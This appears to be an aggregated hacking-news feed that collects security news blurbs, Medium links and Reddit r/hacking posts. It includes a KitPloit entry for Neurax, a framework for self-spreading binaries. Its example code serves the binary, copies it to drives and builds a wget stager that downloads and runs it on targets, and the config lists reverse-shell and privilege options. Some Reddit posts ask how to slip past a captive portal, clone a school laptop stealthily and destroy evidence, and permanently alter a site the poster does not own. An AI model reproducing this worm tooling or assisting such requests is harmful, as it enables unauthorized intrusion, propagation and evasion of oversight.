Dark Reading: Attacks/Breaches
JBS CEO Says Company Paid $11M in Ransom

The decision to pay attackers was a difficult one, CEO Andre Nogueira said in a statement.

Dark Reading: Attacks/Breaches
Healthcare Device Security Firm COO Charged with Hacking Medical Center

Vikas Singla, chief operating officer of security firm that provides products and services to the healthcare industry, faces charges surrounding a cyberattack he allegedly conducted against Duluth, Ga.-based Gwinnett Medial Center.

Dark Reading: Attacks/Breaches
'Fancy Lazarus' Criminal Group Launches DDoS Extortion Campaign

The group has re-emerged after a brief hiatus with a new email campaign threatening a DDoS attack against businesses that don't pay ransom.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to choose a password that’s hard to crack

https://cdn-images-1.medium.com/max/2000/1*jsPwwpussCPUTJ14XR0dgw.jpeg
No, “company name + 123” probably isn’t the best password

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
git Exposed

https://cdn-images-1.medium.com/max/600/1*XKk7ouV5C4QxbBIPhKTthg.jpeg
Olá, recentemente encontrei uma pasta .git exposta em um programa de Bug Bounty público, e gostaria de mostrar como você consegue explorar…

Continue reading on Medium »

Hacking on Medium
Installing the DVWA to try hacking on

https://cdn-images-1.medium.com/max/1920/1*GnDX6KO1W2lNdSEG0QaBlg.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ethernet no está muerto: hasta 400Gbps a través de fibra.

https://cdn-images-1.medium.com/max/1192/0*bgYsvWodfGfO6SOI
PUBLICADO EN 10 JUNIO, 2021POR EHACKING

Continue reading on Medium »

KitPloit - PenTest Tools!
Neurax - A Framework For Constructing Self-Spreading Binaries

https://1.bp.blogspot.com/-V8i4IVrC9q0/YL1vJ805J0I/AAAAAAAAZ80/EYeeOBnjiSQypvcsXxdj4TMvdl9BGRh1wCNcBGAsYHQ/w640-h76/Neurax_1_neurax.png A framework that aids in creation of self-spreading software Requirementsgo get -u github.com/redcode-labs/Coldfirego get -u github.com/yelinaung/go-haikunatorNew in v. 2.0* New wordlist mutators + common passwords by country
* Improvised passive scanning
* .FastScanoption that makes active scans a bit quicker
* Wordlists are created strictly in-memory
* NeuraxScan()accepts a callback function instead of channel as an argument.
* NeuraxScan()scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets
* Reverse-DNS lookup for targets that are not in IP format
* Extraction of target candidates from ARP cache
* Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways)
* Possibility to specify interface and timeout when using passive network scan.
* Improved command stager (can be optionally executed with elevated privilleges / multiple times)
* Few changes of options' names
* NeuraxConfig.became N.(cause it's shorter to type)
* Functions for random memory allocation + binary migration
* Possibility to chain multiple stagers (ex. wget+ curl)
* Volume and complexity of created wordlist can be easily tuned (with options such as .WordlistExpand)
* Possibility to set time-to-live of created binary UsageWith help of Neurax, Golang binaries can spread on local network without using any external servers.

Diverse config options and command stagers allow rapid propagation across various wireless environments. Example code*/ } ">package main
import . "github.com/redcode-labs/Neurax"

func main(){

//Specify serving port and stager to use
N.Port = 5555
N.Stager = "wget"

//Start a server that exposes the current binary in the background
go NeuraxServer()

//Copy current binary to all logical drives
NeuraxDisks()

//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()

/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */

} List of config entriesName Description Default value N.Stager Name of the command stager to use random, platform-compatibleN.StagerSudo If true, Linux cmd stagers are executed with elevated privilleges falseN.StagerRetry Number of times to re-execute the command stager 0N.Port Port to serve on 6741N.Platform Platform to target detected automaticallyN.Path The path under which binary is saved on the host randomN.FileName Name under which downloaded binary should be served and then saved randomN.Base64 Encode the transferred binary in base64 falseN.CommPort Port that is used by binaries to communicate with each other 7777N.CommProto Protocol for communication between nodes "udp"N.ReverseListener Contains "<host:<port"of remote reverse shell handler not specifiedN.ReverseProto Protocol to use for reverse connection "udp"N.ScanRequiredPort NeuraxScan() treats host as active only when it has a specific port opened noneN.ScanPassive NeuraxScan() detects hosts using passive ARP traffic monitoring falseN.ScanPassiveTimeout NeuraxScan() monitors ARP layer this amount of seconds 50 secondsN.ScanPassiveIface In[...]

KitPloit - PenTest Tools!
Neurax - A Framework For Constructing Self-Spreading Binaries

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Exploit a binary with SigReturn Oriented Programming (SROP)

submitted by /u/R4lphWiggum
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anybody dealt with captive portals?

I'm trying to circumvent a captive portal and I know spoofing the Mac is a way to go but that's difficult to do on a phone. I've tried Expressvpn but they do not allow port forwarding on devices other than routers. Since most captive portals use UDP over port 53 would configuring the DNS settings on the phone get around it? Given the resources I have it's becoming difficult to find a way around it without using a low end VPN that sells your data at every corner.

submitted by /u/Mouthybard25364
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to be as stealthy as possible?

So i would really love to exploit this weakness in my school. They have a wifi network that is strictly monitored for unauthorized logins and whatnot. I would actually say my school is very computer literate.

But here is the exploit, they have lent all the students laptops to use and take home throughout the year. So far the only thing I did was that I accidentally removed the bios password with the bios back door exploit that i found online. I thought this would only give you access to the bios without removing it completely...man did i not think that through.

But here is what i would like to do: since the bios is now unlocked, i would boot into a clean install from a separate drive that i have, use that clean install to create a clone of the laptop's ssd, and install that clone onto my personal laptop. That way, I could modify that build on my personal laptop to gain admin access. But here is my question, although the clone and all the files would be the same, would the mac address for when my personal laptop signs onto the network be the same as the school laptop? That is my first question.

And with admin access, all i would do would be to just set up a personal hotspot using the windows feature.

My second question is do you think that IT/administration will get me in trouble for removing the bios password (assuming I dont do anything else to the laptop)?

and are there any other stealthier ways to do this? I was thinking that in case IT finds out and calls me down to confiscate my belongings, I could quickly delete the vhd and get rid of the evidence.

Lastly, I would say that this would classify as grey hat hacking because I do not have malicious intent. Altho it may seem like im trying to bypass their network protections, i really wanna just see for myself what my knowledge can get me with computing. I am a "soy boy" lol so i would really hate to get in trouble...i also have a good reputation at school, is this risking too much? Thanks to anyone who read this essay post of mine.

submitted by /u/man_wif-waluigi-hed
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
permanent website changes

So, say if I wanted to permanently change how a website that I don't own looked, for example: to just remove everything from the site. how would I go about doing this? and i mean permanently, so if I were to do this on one PC and then log in on a different PC it would still be the same. I would never use this to be malicious by the way I've set up a couple of my own test websites to do this with

submitted by /u/Captainzedog
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Purpose of a DoS/DDoS attack?

I apologize if this isn’t the right place for this but I am studying cyber security and have a basic question I can’t seem to find the answer to.

I know what a DoS/DDoS is and how they work, but I can’t seem to find an explanation of the purpose behind one. As in what benefit would the attacker gain from doing one? Would it be monetary gains (like asking for money to end an attack)? Or would it be more to harm a company/organization by limiting their ability to operate on some level? Or is there something deeper I am missing?

submitted by /u/bzboarder
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video